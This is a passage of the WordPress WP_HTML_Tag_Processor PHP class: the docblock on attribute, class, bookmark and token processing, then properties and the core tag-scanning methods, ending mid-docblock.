 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
